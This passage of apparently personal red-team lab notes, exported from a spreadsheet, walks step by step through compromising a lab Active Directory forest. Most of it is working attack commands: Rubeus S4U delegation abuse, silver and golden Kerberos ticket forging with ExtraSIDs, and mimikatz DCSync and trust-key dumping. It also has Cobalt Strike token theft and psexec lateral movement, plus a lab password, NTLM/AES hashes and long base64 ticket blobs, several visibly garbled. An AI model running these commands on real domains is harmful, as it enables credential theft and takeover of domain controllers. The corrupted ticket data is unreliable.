oi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkvZQ09SUC5MT0NBTKOCBLIwggSuoAMCARKhAwIBAgKC
BKAeggScoFiYAE64m3pAVHRDevSDIDxLH070Udric0QaIs6Sj/OC3EM0DtQgj59u17/d18Fn2q0BoAa/+axgtN4oy0Pi
FjjC8RoQ+H/kkw1vkbTcateNjj2tnRdl8DUf6rxq79GeGUyBEmtZt47PINSzSsJU0ghQBoeumEZz2oHpuPyrQ2RZroo1
Xj3dRkgMZGw9q/4FeLox7LueCmHtHCD+2Bc+aSJsh16Lo5h/HmYqxzvcBhCGFa38h9mFSZIoBD4I2fUurj11iCwQdHu0
X+q+2RMTbYn9pDqZtqGpgZfvISCJtmqQBBkf2yqFOUAL8K2Vn5NPJCasyQEVALj+/iG4yBL3dUM95avJBL5utBF76AE
05UCIdk1APkf2tyVR0sK5yBMckuTYSVVjXUZcVYdiaaLdwJiZqSPkekFfWZuB5GdXutu9SZq7aMtf3odh0rXveUI/239
3qT80i0hp5Y4YEve08kKMFyHmC6YkciBmrLVbzj7hWVfipw/hs7IaLt3E6q2p9e2sbxQtIo44gYQ/CreVFCswm4EL6se
rbR+8yy0lBoHlQpu9AdtZ+J001ofzazk+vz0RfFU7htTS5VvmzGv4r36mMnGh3KA7whbcPJmtzsqSjGf6sfhjMoMSPE
/fKYVACyo1gdK2PGysbBljyWwE2AmsauYHtCIUyJ4wxj2HLf5S8eQR8aytSwWmd9BzY/cjBY1Z+g7U1k+mnQqln2fX0
aPEGPy/Q2HXk1RYS0EG3KLkwr9Q+TV0euVJ49F0/KhEaJEEuYVvww0DG5DM4kVmmwue5tBjZ+6s01SLCaz/kzSF0VY0
+yx5PxRAi7F4vY5uV06RnpGuJwNgMDVimVftE7LH+wjXC0bsXQVGgaGuLxAK/6Q3RYJ0KqMvyim1kmpPFjOPbdQ7F+H+
1tJkuveAlLopEdNcai064DwqkVQsL0pyJthxGpSNR/laav9xEV0ekcR0HySLrBlfSSiGFGNKR1st8++Bmg21zjpNvTut
0fb26Ao+FN2g410M7bww7rXMMCEdLYGyfJudBKQMD4XgSvrS8mAIST1Edtn8wxm5RCh9mKtXmByrPYOAT33aksf6XWa
V9DUnp0FbyopAQMAeLo/7FiLpNmxxJX9UFTN042LXPPmbg8wtFBfDJ6EVRP/za46G/VjT0eFaJqwq2RmsEmYGX0FCAdn
f1CNFJatSAY1e35ULHkIesmcVekjofrIwWgSVQUHAvn0YRNNM8MyDiR6r202PtZy8IuiyPiFdf7E4FLZCaccZYVlFbAD
j00oSqwmfa1020KKBZH/LJ37TSAU5dc0QL03aMgrxaXAVDzu+YHlfp6t1mN5v0y8x6rMvf2YXiG68rt/5kJeY2WBj4k
w3A0vEqGD0QJavfGz0mCj/ehknYa5AQrk7x1NV0fee/xo10Ut6MEhmihvvYaBxFhFDDYXCEaRBQJ4IyvanDALUnWFL
mLpCi/wDTx/z/nOEUZxQKyRQRoiNtfeDOjFRZ3hkpD76frPMEqFv1wAJEHtbhugQNkmvVxVkhdyUjBJ57UztAmfe5LeD
Uq6DdlLB+NAwhgcfMqOCAQYwggECoAMCAQCigfoEgfd9gfQwgfGgge4wgeswgeigGzAZoAMCAREhEgQQcPMvkIIFmkPs
UIqSMzuEF6EcGxpET0xMQVJDT1JQLk1PTkvZQ09SUC5MT0NBTKIaMBigAwIBAAERMA8bDURDT1JQLVNURDM1MiSjBwMF
AGChAACIERgPMjAynJA1MjcxNzA5NTlaphEYDzIwMjYwNTI3MjMyODM2WqcRGA8yMDI2MDYwMzAzNTgzNFqoHBsaRE9M
TEFSQ09SUC5NT05FWUNPUIAuTE9DQUypLzAtoAMCAQKhJjAkGwZrcmJ0Z3QbGkRPTExBUKNPUIAuTU9ORVLD1JQLkxP
Q0FM
'@ -replace '\s',''
```

s4u attack

Source row 710 - columns A/B

Context: - HTTP for target RBCD PC

```
.\Rubeus.exe s4u /ticket:$machineTGT /impersonateuser:administrator /msdsspn:http/dcorp-mgmt
/ptt /nowrap
```

Access target - WinRM

Source row 711 - columns A/B

```
winrs -r:dcorp-mgmt cmd
```

Command

Source row 713 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:svcadmin /domain:dollarcorp.moneycorp.local /rc4:b38ff50264b74508085d82c69794a4d8
/dc:dcorp-dc.dollarcorp.moneycorp.local /createnetonly:C:\Windows\System32\cmd.exe /ptt
/show /nowrap
```

CS Trusts

Child-parent, inter-realm, SIDHistory, extraSID, and trust-ticket workflow notes.

Child -> Parent | inter-realm | SIDHistory | Silver

Discover trust

Source row 716 - columns A/B

Context: - or using bloodhound

```
ldapsearch (objectClass=trustedDomain) --attributes name,trustPartner,trustAttributes
```

Get TGT

Source row 717 - columns A/B

Context: - for DA of child

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:svcadmin /domain:dollarcorp.moneycorp.local /rc4:b38ff50264b74508085d82c69794a4d8
/dc:dcorp-dc.dollarcorp.moneycorp.local /createnetonly:C:\Windows\System32\cmd.exe /ptt
/show /nowrap
```

Command

Source row 718 - columns A/B

```
steal_token
steal_token
```

Command

Source row 719 - columns A/B

```
jump to DC
jump psexec64 dcorp-dc smb
```

dump trust key

Source row 720 - columns A/B

```
mimikatz !lsadump::trust /patch
```

SID of Enterprise Admins of parent domain

Forge silver enterprise trust ticket

Source row 722 - columns A/B

Context: - SID is our child domain

- SIDS is for Enterprise Admins of parent

- rc4 is ntlm of trust key [in] child -> parent

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL /rc4:ce0a16ad9a1d08cf6f12caac943f3d94
/sid:S-1-5-21-719815819-3726368948-3917688648
/sids:S-1-5-21-335606122-960912869-3279953914-519 /ldap /user:Administrator /nowrap
```

```
doIGPjCCBjqgAwlBBaEDAgEWoolFCjCCBQZhgguCMIIE/qADAgEFoRwbGkRPTExBUKNPUIAuTU9ORVID
T1JQLkxPQ0FMoi8wLaADAgECosYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTK
OCBKYwggSioAMCAREhAwlBA6KCBJQEggSQSAKXuohPHFMwXBQ1mWRvWgcqcTXbPs2R5wmPpOhq
2NrVF3byldYl38d40LoFPUddxrbBODCElB/nzGnxUmhRRMAcYzgZxs2g/hr+dRI+ZP3h2jB8fUAVNI0t7XUQg
fziQy3HxRSU5p6ouRSEBsvm1qP2BJDqy3QBQXC46F6cWDN18jXAV2Bp7Xgpf5qYKYh6ft+HqwcBZcNQbt
9NUHvvGGpmib3lGx6YWVyWuSfqOuOXtoN+U9+Xfpcg+0ejJSFD1NSXvNnp9JUnxehpiZMPES8fh6/Hd2fif
Yf2Wvs26HiTkgljyUquELvDEqyHoG9NexlumdxKeGTBYuN1DGY0y++hmBSp0xb3G7MY/wW3lM9n+GjtjrQ
9RohVGnRtwNiP//n+287qpqEvGzuhkyNYs3mzLnCCaFJYIzZtbNMLEB2KapohQnkG8W+LGTQOM3DtIAQh
ZlkKMMm+9ZmLxFPb8GzA2Y38+YxkrNphWSeSg6x3AuA8189TQNab1I3426+FFifn5UKCwqfGO/NIGG7fIXk
lUeOzauF72yvc6s95IUBxTT1jrHuVnp1FZBVF/lxSNPvkl64HLDF8MCu0bcpyoFWg4daNEb+lrCa9xaU+uHlp0
DrO9MUIBX2xR08ZdAM2PWEQXg5RBZ+NF6dFGETIFXE3EYz9K8IAfEE1kfp7fCCeWtYqfBRRbkAbWvHKx
ek/1QGx/k0mwUTmpVsKLCpNyXOZ/qFIhx3XfsgY+80FkwP3n5wVgu65ecfyfOa15O7zAX8sKl8tLYr0M1tJpK
/d68EcOIAP3gu1+VTuvdjQ8IXVbJjL4ObOtWwDwl74frl0zmZHi9L7YImYXdnpTfqIB9vgKHVQAEETakDVpcV
r3xYaFB8yN42yQxAV/safwX3gtbLv9KgjNH60Jcwi821tCuJPTRcNxyfeh1Cme2zWiUdipJU9fYKY7Nu3QzLX
hQLnLXnlCeq7MN3EHPNt9xFFTpDt7x4LTt7lbpctfZrJlfslo0QopdbNJ1/hgsNtCB0sqDa3AhHZxIH9Jz5gKJ
4dmlrZGh+SKdtX1BipMZFR5Q7jFd/n6k+7cuJwUfnnJTrFe2AA6QQFouO+dTYD4Ln1w5HnpJ7G3CDQovBv
JC9cKAddlcCSJqjAhxVkh7PrmtuP9wWP4C2nMa0r3kx1dVQcrdzDR5rldKN5ztq9RleuB8A7o9oyeRPdAA/s
GMvH4KczWu7VsOjvqpBOn/BFymHp8lCPknIPDwfqGcd5k4UeZvoFWp0glz8CIO20RXKgcgdYd4j0fuQJyel
AdgalabLwB7LgZSln5nV9Pbxa5yyPknVdCTKE94Us8FXwmzZoW274uRdncklLg6sxM2rWiY94DTiHwFGJd
Y5TRzeS1GnuH08kjoJV7XaF2yGwiNGpRc46NOPRcCDTtrtZSnF0PisGTTuusnSimdbjVGAWoyPDvR2XS9y
wiOb+yPGHqK8K70FjEPZ0Abul6GyQxORPduowEgxxeKfCysQdKwK6dHKZe1Z6twWtySBpmDeDUOOVqn
P8X7XvzVHYr7YbOviwOUkZKOCAR4wggEaoAMCAQCiggERBIIBDX2CAQkwggEFoIIBATCBjCB+6AbMB
```



```
mgAwIBF6ESBBAn/zjS7gZRB5HgUwGQEhKhoRwbGkRPTExBUKNPUIAuTU9ORVIDT1JQLkxPQ0FMohow
GKADAgEBorEwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQKAAAKQREGA8yMDI2MDUyNzE3NTMxMlqIERg
PMjAyNjA1MjcXNzUzMTJaphEYDzlwMjYwNTI4MDM1MzEyWqcRGA8yMDI2MDYwMzE3NTMxMlqoHBSaRE
9MTEFSQ09SUC5NT05FWUNPUIAuTE9DQUypLzAtoAMCAQKhJjAkGwZrcmJ0Z3QbGkRPTExBUKNPUIAu
TU9ORVIDT1JQLkxPQ0FM
```

Get Http ticket

Source row 723 - columns A/B

Context: - for winRM

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs
/service:http/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
/ticket:<BASE64_FORGED_TICKET> /nowrap
```

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs
/service:http/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt /ticket:doIGPjCCBjqgAwIBBa
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
PQ0FM /nowrap
```

Source row 723 - columns C/D

Notes: doIGNDCCBjCgAwIBBaEDAgEWoolFFzCCBRNhggUPMIIFC6ADAgEFoREbD01PTkVZQ09SUC5MT0NBTKlrmCmgAwIB
AqEiMCABGh0dHABGG1jb3JwLWRjLm1vbmV5Y29ycC5sb2NhbKOCBmlwggS+oAMCARKhAwIBF6KCBLAeggSsFuUlyrz0CqID
TNeE+WfDr3crANT2ybhuQVDFgCj54n8746mMraXhdNOMEO9AiZDMbEixeHPNXewMoh46+iYQu2IglvTenEhY4783GOSwqbvqa3b
YFCvheSufRCuk4ZnDVfti1vsLQ5Cz/W4BgVB+WA3d4x/RwuD4AqU30JH177aE53zEgl9dvutOdcMZOV3wwlrmcljFdfOwVaqCEsES
a9sOHBq7BTfa1ni4cRxDOGOMmJQ3wWHeuiYyefPRT96iq73gRYpMf4RMknlg17MlaXzoHCwNSRPeFEw2RBEe82WFF0uxqAv
VZVrcjdoZmFaKNgaYA1/VWfOqkwOa4q5jQx49w/6/7PEpF0WbEmFWPxmBCODhrFTVq8en6PgZ2myRwGIUmBMqhl6y+atL9nn
GkRXSU37zPbzIsUsr2uwVbT5O9QKFFoEhMWXSveU00pTQlpQFUDPIM+P++OZqPqIHp2tDJJEW2YyI03Y/I6Cx0Hm6Ys0Kh0j6v
C9KH/HQ76He9C5gVry0554R2geiH9t6P6MERYNrE+30FazfbUjPuZ10BARsTZ4Ur4GunNGERD4VHcl8h6bHxIx55UsuqDbpaRIHQ3
Sg12nmTQUddggDBIH/nfille0wlq+yu/9C7RPu0A6Amt0mgEilZIGDbLcXcrefr38fRMtkmr20ZePjEe94N/87ce45dvZdr+wwnzHm5jJo
eaj0khM9A7uk/vqznqd4IODQNoHbrrS04HWD/zUm/IAKkKwzP6za3ZsC67ivXuuxHzkC/f30YqicCMns0pCc+t/1vm6k122EOe7l3ik4k
mykWjfoC17CZPo2fB3p1gh88BioN0IkDM3aEkIrV+8csHsDB9NrQPAZwAHEoVK67UPXmLnF4h4wEuPFdyMWpJMS8UgHnq2qp4
WQwNwrNIY/KKfU4xxIOjD4liBiglVBVCJRf5eEUaash8aNLTRfAMUz6TQaLFuQouwdEnIGCs17CPSc4ER0h5G2PBcObnJHHR547g
64CFP9oGls8uNOMJ6LJRkvHmv7k5TMQU9x1TYMjG8rTQtGR8bWz04a3X9jrplci6HV1/sd/pQEwUMDafryGnl43/Rd+ycSa9aB5C1
6ldajX3vBECOUKX7WvOhiW6OIkvV94IQ5phRsWHL62oPxnKhOpYgD5v2YsJeYQRDwe5f8Amh7fFEZUclPotlQasX4ylTCwRfA4
SVStSgRpxn1qabLotfcTGH3T6ZBf+ZTCXt1goACgpzDOXneN7te9tus8QNvHMr4yFGBPeGKMYMYIoEUS1SNEMw5nYpmKhOepAy

```
9BgkkHsMLoW2DDAuOTfdkR3HKJWyEAWLIEaND5lWIW+vXsBKfxtmXrCLLvI0FL3X6Wa/JqIrnI0QEcbwxkUo8zvJjTitUnZev+HdiN
AqdUZbAA9NmJfnTDaI90g4XAp2lnhAnhQzVr9igC+ddhYM5AHRgNa8KT59FaHws3Ffrz6NLgGAL/dQweuJ4EiUJ6zP+LXu8bLgy77
b69qXgzwrEC08dAwnhzTOzyUyAXH0teUicHsoWDbKXQXeJNhec5leszjEcgdUyV5y3DoUwyd4vyX3/w+GjggEHMIIIBA6ADAgEAo
oH7BIH4fYH1MIHyoIHvMIHsMIHpoCswKaADAgESoSIEICC655MGKQJsYQxVXHU/mlILIPNcs4nd6MebGoFHoMK8voRwbGkRPT
ExBUkNPUIAUtU9ORVlDT1JQLKxPQ0FMohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQKUAAKURGA8yMDI2
MDUyNzE4MTAzM1qmERgPMjAyNjA1MjgwMzUzMTJapxYDZlWmJyYwNjAzMTc1MzEyWqgRGw9NT05FWUNPUIAuTE9DQUypK
zApoAMCAQKhIjAgGwRodHRwGxhtY29ycC1kYy5tb25leWNvcnAubG9jYWw=
```

Try WinRM in beacon

Source row 724 - columns A/R

```
shell winrs -r:mcorp-dc.moneycorp.local cmd /c "whoami && hostname && set username && set
computername"
```

add TGS as variable

Source row 725 - columns A/R

```
$httpTGS = @'
PASTE_THE_HTTP_TICKET_BASE64_HERE
'@ -replace '\s', ''
```

\$httpTGS = @'

Source row 725 - columns C/D

```
$httpTGS = @'
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
G9jYWw=
'@ -replace '\s', ''
```

tools

Source row 726 - columns A/R

```
C:\AD\Tools
```

PTT TGS into terminal

Source row 727 - columns A/R

```
.\Rubeus.exe ptt /ticket:$httpTGS
```

Start WinRM Session

Source row 728 - columns A/R

```
winrs -r:mcorp-dc.moneycorp.local cmd
```

Child -> Parent | krbtgt + ExtraSIDs | Golden

Command

Source row 731 - columns A/R

```
Get krbtgt AES256 or NTLM
- must be on DC to run this
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\krbtgt
```

Forge golden enterprise TGT

Source row 732 - columns A/B

Context: - SID is our child domain
 - SIDS is for Enterprise Admins of parent
 - rc4 is ntlm of trust key [in] child -> parent

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden
/user:Administrator /id:500 /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-719815819-3726368948-3917688648
/sids:S-1-5-21-335606122-960912869-3279953914-519
/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /netbios:dcorp
/nowrap
```

Add TGT as variable

Source row 733 - columns A/B

```
$goldenTGT = @'
PASTE_BASE64_GOLDEN_TICKET_HERE
'@ -replace '\s',''
```

PTT TGT into terminal

Source row 734 - columns A/B

```
.\Rubeus.exe ptt /ticket:$goldenTGT
```

WinRM Session

Source row 735 - columns A/B

```
winrs -r:mcorp-dc.moneycorp.local cmd
```

Command

Source row 736 - columns A/B

```
new krbtgt
mimikatz @lsadump::dcsync /domain:moneycorp.local /user:mcorp\krbtgt
```

inter-realm referral ticket

Discovered share

Source row 739 - columns A/B

Context: - on other domain
 - after getting other domains host IPs

```
nxc smb hosts.txt -d dollarcorp.moneycorp.local -u 'student352' -p 'fdbKG8gLZx69GgUH'
--shares
```

Discovered share on other-domain host manually

Source row 740 - columns A/B

Context: - must check other domain hosts for shares manually ...

```
net view \\eurocorp-dc.eurocorp.local /all
```

Forge silver trust ticket

Source row 741 - columns A/B

Context: - SID is our domain SID

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL /rc4:1ae9737852a8234260954b5d9dcf5ad6
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /nowrap
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL /rc4:1ae9737852a8234260954b5d9dcf5ad6
/user:Administrator /id:500 /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-719815819-3726368948-3917688648 /netbios:dcorp /groups:512,513,518,519,520
/nowrap
```

Add ticket as var

Source row 742 - columns A/B

```
$referralTGT = @'
PASTE_FULL_BASE64_TICKET_HERE
'@ -replace '\s',''
```

\$referralTGT = @'

Source row 742 - columns C/D

```
$referralTGT = @'
doIGDjCCBgqgAwIBBaEDAgEwoIE2jCCBNZhggTSMIIEZqADAgEFoRwbGkRPTExBUKNPULAuTU90RVLD1JQLkxPQ0FM
oi8wLaADAgECosYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBHYwggRyoAMCAREhAwIBA6KC
BGQEGgRgcjJ96wL+/31V8XVW803FvPJs04MmPv1pdIglRVPPjFIR4VVKtWGDW0HY50XpPIYv0LViCSMHkYNm0smoCna
VpwA2L2gcL0vGgEPf0mKt7k05aQ7TGic3QEY6C9lhbcWYR6lhRve5/ksDKYgKUsDXiUZohdzbMMD/EFM/66K4P04YwN
+VnH2HUZC03jsEizjSNUeW2aabvueVy6Jm/wqTjI2ckyQ0ljxUoQUGUQSPu18uPl9QMurQDVe2U3aIm+6MA6C1JpMD3W
1qTwsexs+1JPya5kjVBK80wdSkqtCZTBLoXQ1/gqz0NncPA0k/ya5s9Qzwh6gusIGPRAPwtdAIGfSkoJabyerb5iQIb
TtsSr7H7NfiRUoe/Xyms7gk6lvLfc9NqeYZKSVj/T8/MHcpNS0i357fnqR9cy71Jtek4JCbIK53kfyQEBAzX2YdVv8g4
i2IRTMb/rkjZjsmt7EhJsd/011UwJqFLPiL4ni2Pi81VJlSkuavksACQ+WKA5WPgv0jf0Z0r6IRL/ow/ss3Vkd4zDa1K
qyqu/omUQJZUFBkU29Zy+9R2srkQoQqSGqRytwUIqEvzB1pvcsQAwQbVbLeapkQ0dawn1gEviD3Wklue/L9zHeAkVweJ
k0n9pbdLTiIXDbcxQ4to3yMwPgVj7lCFq7+4tmnl7scNrCy31iP9KUWwz591GSi5sltqEtRGUzowao8V8xSITucL2lCP
KpFToliAeaRIHA6EU1LvipRhXRIdiaquixYVeKB1w97GFgKTPSPkKij0zU8VaPB1X2CT4Ex/cMuDdqPyLwMTIHZ80e+f
NgR/PRZzdNoR7vQtwJB07UwonEaNmY090XmHb7nzR6nt2wi3CCU9oy51UVvL2RiLDA19j4oy+3iPlRz76CpeFHSf4xeV
rPkG4Y1n+vHTjUXUazr03IZYGXyU0aMx9dpYXMxMxBWjN1r7W+Rskjuxi7TodfuYdp1hK3YvzkCD4/qwsT/FjpRzQT4
Hg1Mvp3GxGNhixiV9HLn0pIT0myZSuof69f30wUChPITsPxTFXG1UaTSSvPiK9TlLMhEv89bxcspjhAPIlBRg78xtOPq
nXUiHiNpdRmt/gV7uESxVCqNLNgxKG1rt3F8JbU6I8cCXt7hchqRcbWAGBcok2EylqDQ6RZimc4RYolQWJFr0TsQFNmK
FKj5JTGOffgjra8k3dwnaCp8VmVMxyVYj4KCxYMWRRaTz56VjM1tP8cH/TukHJK+LKa6nUix6aqcmgsLS+3140Juv2bF
4w3vr07LT+Ga/kIIDIcvqbl7flaDBYH6Cy/HsSx6scN8aijFK7vzUdErsVixSMMDqUUIxwxQVG+9NEXZu37HeGTe77P2
DzUQ+geih70UhhKvX4rJvI3dPfZ0luHzq8Z27Hcvs7Tng2Nyyvo6Uu7G/q9RqGjiD3n0zv00sC+dJXReV+F04GsALmcxB
SXL+DAzrD+FBVxVfJc5qkSdfeILWwKOCAR4wggEaoAMCAQCiggERBIIbDX2CAQkwggEfoIIBATCB/jCB+6AbMBmgAwIB
F6ESBBBasyB7D93QPeqC+XKXbldIoRwbGkRPTExBUKNPULAuTU90RVLD1JQLkxPQ0FMohowGKADAgEB0EwDxsNQWRt
aw5pc3RyYXRvcqMHAwUAQKAAAKQRA8yMDI2MDUyNzIxNTAyMFqLERgPMjAynJA1MjcyMTUwMjBaphEYDzIwMjYwNTI4
